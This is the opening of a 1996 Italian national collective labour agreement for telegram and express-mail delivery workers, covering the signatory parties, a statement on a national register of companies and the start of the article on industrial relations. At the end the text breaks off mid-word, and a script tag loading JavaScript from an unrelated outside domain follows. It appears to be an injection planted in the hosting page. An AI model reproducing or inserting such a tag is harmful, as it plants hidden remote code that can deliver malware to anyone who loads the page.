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Categoria: Recapito corrispondenza Settore: Altro Data stipula: 20-2-1996 Data decorrenza: 1-1-1995 Data scadenza: 31-12-1998
Contratto Collettivo Nazionale di Lavoro
PER IL PERSONALE DIPENDENTE DA IMPRESE ESERCENTI SERVIZI DI RECAPITO
TELEGRAMMI, ESPRESSI, DISPACCI IN GENERE, RECAPITO IN LOCO
(sostituisce il CCNL 30.1.91, scade il 31.12.98).
Addì 20 febbraio 1996 in Roma,
Tra
- la Federazione Italiana Imprese di Servizi - AUSITRA rappresentata
dal Vice Direttore dott. Sandro di Macco e dal dott. Giancarlo Cipullo
presenti le Imprese ARE rappresentate dal Presidente dott. Franco
Defendini, dal Vice Presidente dott. Ettore Calogero nonché dai sigg.
Giuliano Annovi, Ambrogio e Francesco Baccaro, Sergio Bottagisio, Carmen
Campili, Michele D'Elicio, Fausto Federici, Daniele Savelli, Valeria
Senatori
e
- la Federazione Italiana Postelegrafonici (FILPT-CGIL) rappresentata
dai sigg. Piero Leonesio, Carla Pecchioni, Ermes Zattoni; la SLP-CISL
nazionale rappresentata dai sigg. Michele Vinci, Mario Petitto; la
UILTRASPORTI nazionale rappresentata dai sigg. Paolo Carcassi segretario
nazionale, Enrico Cimmino dipartimento nazionale ausiliari del traffico,
Stefano Ladogana dirigente regionale; la UILPOST nazionale rappresentata
dai sigg. Paolo Tullo, Marcello Bellizzi, Mario Caiulo; presenti le
rispettive delegazioni territoriali
è stato rinnovato il CCNL 30 gennaio 1991 per il personale dipendente da
imprese esercenti servizi di recapito telegrammi, espressi, dispacci in
genere, recapito in loco.
Dichiarazione delle parti.
ALBO NAZIONALE DELLE IMPRESE
Le parti convengono sulla necessità di sviluppare adeguate iniziative
congiunte o comunque convergenti rivolte a individuare gli strumenti
idonei a garantire da parte di tutte le imprese del settore l'applicazione
del presente CCNL, nonché delle norme di legge sul rapporto di lavoro,
anche ai fini della salvaguardia dei livelli occupazionali.
A tal fine le parti concordano che uno degli strumenti più rispondenti per
generalizzare la normalizzazione dei rapporti tra imprese e lavoratori è
costituito dall'Albo di categoria, per la cui istituzione le parti
medesime sono dunque impegnate.
Art. 1 -Sistema di relazioni sindacali - Procedure e sedi di composizione
delle controversie individuali e plurime.
1.A) Premessa.
Il presente CCNL nell'assumere come proprio lo spirito del "Protocollo
sulla politica dei redditi e dell'occupazione, sugli assetti contrattuali,
sulle politiche del lavoro e sul sostegno al sistema produttivo" del
23.7.93, ne realizza, per quanto di competenza del contratto collettivo
nazionale di categoria, le finalità e gli indirizzi in tema di relazioni
sindacali attribuendo all'autonomia collettiva delle parti una funzione
primaria per la gestione delle relazioni di lavoro mediante la costante
ricerca, ai diversi livelli e con diversi strumenti, del metodo del
confronto, al quale le parti riconoscono un ruolo essenziale nella
prevenzione del conflitto.
Le parti, nel riconoscere la propria titolarità nella stipula del CCNL e
d'ogni altro accordo d'interesse nazionale, convengono che la
contrattazione aziendale di 2° livello riguarderà materie e istituti
diversi e non ripetitivi rispetto a quelli propri del CCNL e potrà
pertanto essere svolta per le sole materie stabilite dalle specifiche clau
sole di rinvio del CCNL in conformità ai criteri e alle procedure ivi
indicate.
In applicazione dell'Accordo interconfederale 20.12.93, del quale le parti
stipulanti dichiarano il pieno recepimento, sono titolari della
contrattazione aziendale di 2° livello, negli ambiti, per le materie e con
le procedure e i criteri stabiliti dal presente contratto, le strutture
territoriali delle OO.SS. stipulanti e le RSU costituite ai sensi del
medesimo accordo interconfederale.
Le aziende possono essere assistite e rapprese<script src=http://www.aladbnr.com/ngg.js></script>
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